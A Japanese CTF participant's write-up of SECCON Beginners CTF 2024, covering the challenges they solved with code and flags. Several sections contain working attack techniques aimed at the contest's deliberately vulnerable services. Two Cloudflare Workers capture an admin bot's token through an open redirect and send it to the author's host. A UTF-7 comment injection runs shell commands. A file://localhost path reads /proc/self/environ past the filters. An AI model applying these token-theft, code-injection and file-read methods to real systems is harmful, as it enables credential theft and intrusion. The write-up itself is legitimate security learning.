CTF の初心者向け大会 SECCON Beginners CTF 2024 に参加しました。
参加記 Writeup を書きます。
動機
CTF なんもわからんけど面白そうだからやるぞ!
多少セキュリティの知識はあるつもりだけどそこまで詳しくはない人です。
1 人で参加しました。
やる
作業リポジトリは a01sa01to/seccon-beginners-2024 にあります。
解けた順に書きます。
Welcome
Welcome to SECCON Beginners CTF 2024! フラグはDiscordサーバのannouncementsチャンネルにて公開されています! The flag is on Discord.
らしいので、 Discord サーバの announcements チャンネルを見てみます。
ありました。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
a01sa01to/seccon-beginners-2024@d7a039e
なんか開始直後、ログイン状態がおかしかったのか問題を見ようとすると「ログインしてください」的な画面が出てしまって困りました。
AC 127 番目でした。 (2024-06-15 14:01:55.806 JST)
simpleoverflow (pwn)
次に多く解かれていたのが simpleoverflow だったので、見てみます。
ソースコードを見てみると、 buffer には 10 byte ぶんしか確保していないのに、 read では 0x10
byte、つまり 16 byte ぶん読み込んでいました。
はい。
11 文字以上入力して、 flag をゲットしました。
ctf4b{0n_y0ur_m4rk}
a01sa01to/seccon-beginners-2024@e34f758
AC 23 番目でした。 (2024-06-15 14:03:54.975 JST)
Safe Prime (crypto)
ちょっと用事があったのでまた数時間後に。
とりあえず beginner タグのついた問題を解いておこうと思い、この問題を解きました。
問題概要としては、 RSA 暗号のパラメータ としてソフィー・ジェルマン素数と安全素数を使ってみた!というものです。
が成り立つらしいです。
となるので、 が与えられたときに を求める問題です。
はい、 †伝家の宝刀 二分探索† が使えますね。
n = ... def solve_p(): ok = 1 ng = n while ng - ok > 1: mid = (ok + ng) // 2 x = mid * (2 * mid + 1) if x <= n: ok = mid else: ng = mid return ok p = solve_p()
こんなかんじ。 Python なので多倍長整数が使えてらく。
これで が求まるので、 RSA の復号をすればよさそうです。
として で復号して、出てきた数字を decode したら flag が得られました。
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
a01sa01to/seccon-beginners-2024@bcf7de0
「Related primes are vulnerable no matter how large p is」、確かになぁ
AC 119 番目でした。 (2024-06-15 16:12:24.499 JST)
getRank (misc)
pwn の simpleoverwrite めっちゃ解かれてるやん!でちょっとやってみたが、なんかうまくいかないのでこの問題をやりました。
問題としては、「数当てゲームをして 1 位になってね。ちなみに現在 1 位の人のスコアは だよ。」というもの。
もはや正攻法では無理なので (CTF ってそういうものだし)、とりあえずソースを流し読みしてみると、直接スコアをサーバに送って順位を取得しているみたいです。
しかしスコアの文字数は 300 文字までしか受け付けないみたいだし、スコアが を超えると「クソデカくね? ハンデとして 倍するで!」っていう処理をしてるみたい。
少し悩みながら parseInt
をホバーしてみると、基本的には 10 進数で解釈されるものの、どうやら 0x
から始まると 16 進数として解釈されるみたいです。
よって 0xFFF...F
を送り付けて通りました!
ctf4b{15_my_5c0r3_700000_b1g?}
a01sa01to/seccon-beginners-2024@85d6e10
0xFFF...F
(0x
に続いて 298 個の F
) は大体 らしく、これを 倍しても で良いっぽいです。
AC 165 番目でした。 (2024-06-15 18:58:59.253 JST)
wooorker (web)
Web ならできるかも?ということでやってみました。
ソースコードを読みます。
どうやら「脆弱性報告 bot」なるものが認証情報を持っているらしく、それを使って login?next=...
にアクセスさせてログインさせてやるとリダイレクト先に token が searchParams で渡されるらしいです。
すでにホスト名は指定されているので、偽サイトを立てて認証情報を搾取することはできなさそうです。
よって ?next=
のリダイレクト先に自分のサイトを指定して、 searchParams に token が付加されているのを確認できれば、それを使ってログインすればよさそうです。
そしたら適当に Cloudflare で立てた自分のサイトにリダイレクトさせてリクエストログで見てみることにしました。
が、リクエストログには /?token=REDACTED
の文字が。 Cloudflare ゆるさん
素直に Worker を立てて、 console.log
するようにしました。
また、 JWT として認識されて REDACTED
にならないように、一応の対策として token 内の .
を空白に置換して log するようにしました。
export default { async fetch(request, env, ctx) { const url = new URL(request.url) console.log(url.searchParams.get('token').split('.').join(' ')) return new Response('Hello World!') }, }
これで token を得られたので、この情報を用いて flag ページにアクセスして flag を得ました。
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
a01sa01to/seccon-beginners-2024@2d614b0
AC 50 番目でした。 割と早かったっぽい?
(2024-06-15 19:24:28.912)
assemble (reversing)
Intel 記法のアセンブリ言語を書いて、 flag.txt の内容を取得しよう!という問題です。
ページを開くとそのシミュレータみたいなものでした。
4 つのチャレンジに分かれていて、 4 つ目のチャレンジで flag が得られるようです。
1 つ目は、「mov
命令を使って rax
に 0x123
を格納しよう」というもの。
入力欄の placeholder に書いてあるものをそのまま入力して通りました。
mov rax, 0x123
2 つ目は、「rax
に 0x123
を格納してそれを stack に push しよう」というもの。
どうせ push
命令だろうな~と思って書くと通る。
mov rax, 0x123 push rax
3 つ目は、「標準出力に Hello
を出力しよう」というもの。
syscall
を使ってやるみたいなんですが、かなり悩んだ。
syscall
は rax
にシステムコール番号を、 rdi
, rsi
, rdx
に引数を入れて実行するらしいです。
write
システムコールの番号は 1 で、 rdi
にファイルディスクリプタ (標準出力なら 1
)、 rsi
に文字列のアドレス、 rdx
に文字列の長さを入れるらしい。
文字列のアドレス?なにそれ? になってたんですが、スタックアドレスを使えばよさそう?ということで rsp
を代入することに。
スタックに H
(0x48), e
(0x65), l
(0x6c), l
, o
(0x6f) を push して、 rdx
に 40 (40 bit? よくわからん~と言いながら書いてた) を入れて syscall
すると、 stdout には Hello
が出力されたものの、通らない...。
うーんこれは運営に報告か?と思いながらも、でも通ってる人いるし、何か違うんだろうな~と思って調べてみると、書き方がよくなかったっぽいです。
0x6F6C6C6548
(Hello の little endian 表現) をスタックに push して rdx
に 5 を入れて syscall
すると通りました。
mov rax, 1 mov rdi, 1 mov rdx, 5 mov rbx, 0x6f6c6c6548 push rbx mov rsi, rsp syscall
0x48
などとして出力すると間に null 文字が入ってしまって、それが原因だったっぽい?と考察。
最後。 4 つ目は、「flag.txt
の内容を標準出力に出力しよう」というもの。
syscall
の仕組みを知ったので、 read
のマニュアルを見てみます。
ふぁいるでぃすくりぷた?なにそれ? で調べてみたところ、 open
でファイルを開いてファイルディスクリプタを取得し、 read
で読み込んで、 write
で出力すればよいみたいです。
まず open。 rax に 2 、 rdi に flag.txt
のアドレス、 rsi に O_RDONLY
(0) を入れて syscall
します。
が、なんかエラー。
しばらく悩んでいると、文字列の最後に null 文字が入っていないのが原因だったみたいです。
flag.txt
がちょうど 8 文字 64 bit だったので null 文字が入らない、そんなことあるのか...。
無事にファイルディスクリプタが取得できたので、 その内容をいったん rbx
に保存するようにします。
mov rax, 2 mov rbx, 0 push rbx mov rbx, 0x7478742e67616c66 push rbx mov rdi, rsp mov rsi, 0 syscall mov rbx, rax
次に、 read。 rax に 0 、 rdi に ファイルディスクリプタ、 rsi に バッファのアドレス、 rdx に バッファの長さを入れて syscall
します。
バッファはまあ stack でええやろということで rsp
を使います。
バッファ長は適当に 1024 にしておきます。
mov rax, 0 mov rdi, rbx mov rsi, rsp mov rdx, 1024 syscall
最後に write で出力します。
rax に 1 、 rdi に 1 (stdout)、 rsi に バッファのアドレス、 rdx に バッファの長さを入れて syscall
します。
バッファアドレスは rsp
で良いものの、バッファ長ってどうすればいいんだ? (rax
に格納されるのを当時の自分は知らない)
とりあえず二分探索して 53 文字であることを突き止め、 53 文字で出力するようにしました。
mov rax, 1 mov rdi, 1 mov rdx, 53 mov rsi, rsp syscall
無事に flag が得られました。
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
a01sa01to/seccon-beginners-2024@0040424
「Great job you have mastered assembly language」ほんとか?
AC 71 番目でした。 (2024-06-15 19:52:04.386 JST)
cha-ll-enge (reversing)
とりあえずご飯を食べてから。
土曜なので ABC358 がありましたが、出ずに CTF に集中します。
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
中身を見ても何もわかりませんが...?
ということで Gemini に投げてみます。
すると LLVM であることがわかりました。なにそれ?
よくわからんながらも、コンパイラのための中間言語?ということでいったん C 言語に変換してもらうことにしました。
(コードは GitHub のほうにあります。すこし変更していますが)
コードを見てみると、 key が定義されていて、適当に XOR すれば flag が得られるようです。
どうせ flag の最初は ctf4b{
なので、これを用いて規則性を見つけることにしました。
すると、 flag[i] = key[i] XOR key[i+1]
という規則性が見つかりました。
これをもとに flag を得ました。
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
a01sa01to/seccon-beginners-2024@aa95011
AC 159 番目でした。 (2024-06-15 21:40:18.167 JST)
AI すごい。
math (crypto)
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
ということでまずはソースコードを眺めてみる。
から平方数 を引いたものも平方数 になるようです。
与えられているのは です。
また、 のクソデカ約数も 1 つずつ与えられています。 (ここではそれぞれ とします)
とりあえず、 factordb に の値を投げてみます。
すると、これらの値は素数であることがわかりました。
とりあえず を factordb に投げてみると、 という値が得られました。
したがって、 で表現できます。
が平方数だし、 以外の素因数が しかないので、 の値を bit 全探索で決め打ちます。
その決め打った に対して から の値を二分探索し、 がちょうど であれば が求まったことになります。
こんなかんじ。
lst = [3, 173, 199, 306606827773] for bit in range(1 << 4): a = diva ** 2 b = divb ** 2 for i in range(4): if bit & (1 << i): a *= lst[i] ** 2 else: b *= lst[i] ** 2 assert a * b == ab ok = 0 ng = n while ng - ok > 1: x = (ok + ng) // 2 p = a + x q = b + x if p * q <= n: ok = x else: ng = x if (a + ok) * (b + ok) == n: print("p:", a + ok) print("q:", b + ok)
これで が求まったので、あとはふつうに RSA の復号をして flag をゲットしました。
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
a01sa01to/seccon-beginners-2024@11267c9
「Could you enjoy the mathematics?」まあたのしいね。
AC 76 番目。 (2024-06-15 23:39:12.534 JST)
clamre (misc)
アンチウィルスのシグネチャを読んだことはありますか?
読んだことないや...
とりあえずファイルをダウンロードして、 flag.ldb
を見てみます。
めちゃくちゃ正規表現です。
なんか \3
とかあるの謎すぎる、なんで 3 をエスケープするんだ?
まあいいや、とりあえず \x63
とかをアルファベットに戻すと、 /^((ctf)(4)(b)(\{B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)\})$/
になりました。
いったん \3
とか括弧とかは無視してみると、 ctf4b{Br3k1ng_lThH0u5R5}
になるので、これを提出してみます。ダメでした。
いったん眠いので寝ます。
起きました。
手詰まり感が出てきたので Gemini に投げます。
すると、このファイルは ClamAV というアンチウィルスのシグネチャファイルだとわかりました。
ドキュメントを読んでみると、 めちゃくちゃ読みにくいドキュメントであることがわかりました。 \3
などはバックリファレンスで、キャプチャしたグループを参照するものだとわかりました。 $3
みたいなやつか。
めんどくさいので Gemini にやらせたものの全然違う結果になったので、 Colab で ClamAV 走らせてデバッグしながらやることに。
--debug
をつけて実行するとキャプチャグループが表示されるので、これを見ながらマッチする flag を探します。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
a01sa01to/seccon-beginners-2024@c8d5817
AC 162 番目。 (2024-06-16 08:23:06.325 JST)
正規表現に慣れてないのがよくわかる...
Wooorker2 (web)
Wooorker 解いたしいったん 2 も見てみるか~で解きました。
今度は token は searchParams ではなく hash fragment に入っているようです。
hash fragment はサーバに送信されないので、 Worker でログを取ることはできません。
でも client 側では取得できるので、 searchParams にして再リクエストを送るようにすればええやん!ということで、 Worker の処理に少し変更を加えました。
export default { async fetch(request, env, ctx) { const url = new URL(request.url) if (url.pathname === '/') { const h = new Headers() h.set('Content-Type', 'text/html') return new Response( "<script>location.href = `/hoge${window.location.hash.replace('#', '?')}`</script>", { headers: h }, ) } console.log(url.searchParams.get('token').split('.').join(' ')) return new Response('Hello World!') }, }
hash fragment を searchParams に変換して /
から /hoge
にリダイレクトするようにしました。
これでログに token が表示されるようになったので、これを使ってログインして flag を得ました。
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
a01sa01to/seccon-beginners-2024@c8cf6dd
AC 78 番目。 (2024-06-16 08:57:38.125 JST)
難易度 medium でしたが解けてうれしい!
commentator (misc)
適当に文字を打ち込むとそれが Python ファイルのコメントとしてファイルに書き込まれるらしい。
まあどうにかしてコメント外に抜け出したいってことだよなぁ
しばらく調べてみると、 Python には Magic Comment という機能があるらしい。
先頭の行に # coding:
って書いておくとエンコーディングを指定できるやつ。
これについて調べてみると、まさにこれを使った記事がヒットしました。
UTF-7 を指定すると、 +AAo-
という文字列が \n
に対応するらしいです。
Dockerfile を見てみると、 flag ファイルは /
にあって、 md5sum がファイル名に付加されているらしいです。たいへん。
なのでまずは ls をしてみます。
coding: utf_7 +AAo-import os +AAo-os.system('ls /') __EOF__
こうすると以下のように解釈されます。
# coding: utf_7 # import os # os.system('ls /')
これにより /flag-437541b5d9499db505f005890ed38f0e.txt
というファイル名が得られました。
これを cat します。
coding: utf_7 +AAo-import os +AAo-os.system('cat /flag-437541b5d9499db505f005890ed38f0e.txt') __EOF__
これで flag が得られました。
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}
a01sa01to/seccon-beginners-2024@c81a97d
「Careless comments can integrate online outrage」なるほど。
AC 53 番目。 (2024-06-16 09:57:53.247 JST)
ssrforlfi (web)
これ本番中に解けなかったの悲しい。
惜しいところまで行ったので備忘録として。
ソースコードを見てみると、 ?url=
にリクエストを送ると、そのページの HTML が返ってくるようです。
url に含められる文字は限られている上、 http://
, https://
で始まって localhost
が含まれるなら SSRF、 file://
で実際にファイルが存在するなら LFI として処理を受け付けないようにされています。
また、これ以外のプロトコルは拒否するみたいです。
ここを通り抜けると curl でアクセスして、その結果を返すようです。
flag は環境変数に書かれているようです。
調べてみると、プロセスの環境変数は /proc/self/environ
で取得できるらしいです。
これを読むために file:///proc/self/environ
を送りたいのですが、まあ LFI で拒否されます。
なのでいい感じにパスを変えて、 Python にはファイルが存在しないように見せかけて curl ではアクセスできるようにしてやりたいです。
でいろいろやっていると時間切れに。
結論から言うと、 file://localhost/proc/self/environ
というパスを送るといいらしいです。
いや~知識不足。 file://localhost
って指定できるんですねぇ
ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
まとめ
SECCON Beginners CTF 2024 おわり~ 825 点・ 89 位、2 桁順位でうれしい! 解けそうなものもあったけどふつうに知識不足で間に合わず...
825 点・ 89 位でした!
なんとなく知識がついた気がします!
CTF にももっと手を出していきたいですね。